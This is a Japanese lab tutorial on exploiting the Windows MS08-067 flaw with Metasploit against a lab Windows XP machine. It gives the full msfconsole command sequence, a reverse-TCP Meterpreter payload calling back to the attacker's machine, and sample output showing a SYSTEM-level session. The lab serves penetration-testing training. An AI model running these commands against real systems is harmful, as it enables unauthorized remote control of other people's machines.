はじめに
この実験 (lab) では、最もよく知られている Windows の脆弱性の一つである MS08-067 を悪用するために Metasploit Framework を使用する方法を学びます。この脆弱性は Windows システムの Server Service に存在し、リモートコード実行を可能にします。
強力なペネトレーションテストツールである Metasploit を使用して、ターゲットとなる Windows XP マシンに対するエクスプロイトを選択、設定、および実行します。この実験の終わりには、ターゲット上で Meterpreter セッションを獲得し、リモートコントロールを可能にします。
この実験のために、環境は 2 台のマシンで事前に設定されています。
- あなたのアタッカーマシン (この Ubuntu VM) は、IP アドレス
192.168.1.100を持ちます。 - 脆弱な Windows XP ターゲットマシンは、IP アドレス
192.168.1.101を持ちます。
すべてのアクションは、あなたのアタッカーマシン上のターミナルから実行します。
ms08_067_netapi エクスプロイトモジュールの選択
このステップでは、Metasploit コンソールを起動し、MS08-067 脆弱性に対応する適切なエクスプロイトモジュールを選択します。
まず、ターミナルを開きます。すべてのコマンドはここで実行します。Metasploit Framework には msfconsole というコマンドラインインターフェイスが付属しています。バナーを抑制するために -q (quiet) フラグを付けて起動しましょう。
msfconsole -q
ロードされると、msf6 > のような Metasploit プロンプトが表示されます。ここで、ms08-067 に関連するエクスプロイトモジュールを検索できます。
search ms08-067
一致するモジュールのリストが表示されます。私たちが関心を持っているのは exploit/windows/smb/ms08_067_netapi です。
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
このエクスプロイトを使用するには、use コマンドの後にモジュール名を入力します。
use exploit/windows/smb/ms08_067_netapi
プロンプトが、この特定のエクスプロイトモジュールのコンテキスト内にいることを示すように変化します。
msf6 exploit(windows/smb/ms08_067_netapi) >
Windows XP ターゲットに RHOSTS オプションを設定する
このステップでは、ターゲットの IP アドレスを設定してエクスプロイトモジュールを構成します。ほとんどのエクスプロイトは、誰を攻撃するかを知る必要があります。Metasploit では、ターゲットアドレスは RHOSTS (Remote Hosts) オプションを使用して設定されます。
まず、show options コマンドを使用して、このエクスプロイトで利用可能なオプションを表示しましょう。
show options
設定可能なオプションの表が表示されます。RHOSTS は必須ですが、まだ設定されていないことに注意してください。
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
...
次に、RHOSTS オプションを、Windows XP ターゲットの IP アドレスである 192.168.1.101 に設定します。
set RHOSTS 192.168.1.101
Metasploit は変更を確認します。
RHOSTS => 192.168.1.101
これで、Metasploit にどのマシンをターゲットにするかを指示しました。
windows/meterpreter/reverse_tcp のようなリバース TCP ペイロードを選択する
このステップでは、エクスプロイトが成功した後にターゲットシステムに配信されるペイロードを選択します。ペイロードは、ターゲットマシン上で実行されるコードです。ここでは、強力で柔軟なペイロードである Meterpreter を使用します。これはインタラクティブなシェルを提供します。
windows/meterpreter/reverse_tcp ペイロードは、侵害されたターゲットマシンに攻撃者であるあなたに接続を強制します。これは、ファイアウォールがターゲットへの直接接続をブロックする可能性がある実際のシナリオで、より成功することがよくあります。
ペイロードを設定するには、set payload コマンドを使用します。
set payload windows/meterpreter/reverse_tcp
Metasploit はペイロードが設定されたことを確認します。
payload => windows/meterpreter/reverse_tcp
ペイロードが選択されたので、次のステップでそのオプションを構成する必要があります。
LHOST および LPORT ペイロードオプションを設定する
リバースペイロードを選択したので、それを自分のマシンに接続するように構成する必要があります。これには、主に 2 つのオプションを設定する必要があります:LHOST と LPORT です。
LHOST(Local Host): これは攻撃者マシンの IP アドレスで、ペイロードが接続し直す場所です。LPORT(Local Port): これは、ターゲットからの着信接続をリッスンする自分のマシン上のポートです。
導入で述べたように、攻撃者マシンの IP は 192.168.1.100 です。LHOST をこの値に設定しましょう。
set LHOST 192.168.1.100
確認が表示されます:
LHOST => 192.168.1.100
次に、リスニングポートを設定しましょう。一般的な選択肢は 4444 です。
set LPORT 4444
ここでも、確認が表示されます:
LPORT => 4444
再度 show options を実行して、すべての必須オプション (RHOSTS、LHOST、LPORT) が正しく設定されていることを確認できます。
エクスプロイトを実行し、Meterpreter セッションを取得する
すべてのオプションを設定したので、エクスプロイトを起動する準備ができました。これは、ターゲットシステムを侵害しようとする最後のステップです。
攻撃を開始するには、単純に exploit コマンドを使用します。
exploit
Metasploit は脆弱性をエクスプロイトしようとします。成功した場合、次のような出力が表示されます。ターゲット OS を自動的に検出し、エクスプロイトを送信し、次にペイロードを送信します。
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Automatically detecting the target...
[*] 192.168.1.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn)
[*] 192.168.1.101:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:1035) at 2023-10-27 10:30:00 -0400
meterpreter >
最後の行に Meterpreter session 1 opened と表示されていることに注意してください。コマンドプロンプトが meterpreter > に変わりました。これは、ターゲットを正常に侵害し、アクティブなセッションを持っていることを意味します。
アクセスを確認するには、getuid のようなコマンドを実行して、ターゲットシステムでどのユーザーとして実行されているかを確認します。
getuid
出力には、あなたが最高の権限を持っていることが示されます。
Server username: NT AUTHORITY\SYSTEM
おめでとうございます。MS08-067 のエクスプロイトに成功しました!
まとめ
この実験では、Metasploit Framework を使用して、Windows XP ターゲット上の MS08-067 脆弱性を正常にエクスプロイトしました。
ペネトレーションテストの基本的なワークフローに従いました。
- 特定の exploit モジュール (
exploit/windows/smb/ms08_067_netapi) を選択しました。 - ターゲットのアドレス (
RHOSTS) を設定して、エクスプロイトを構成しました。 - 制御を得るためのペイロード (
windows/meterpreter/reverse_tcp) を選択しました。 - ローカルホストとポート (
LHOST、LPORT) でペイロードを構成しました。 - エクスプロイトを起動し、ターゲット上で高権限の Meterpreter セッションを取得しました。
この演習は、Metasploit のようなフレームワークを使用して、システムの脆弱性をテストおよびエクスプロイトする際の強力さとシンプルさを示しています。


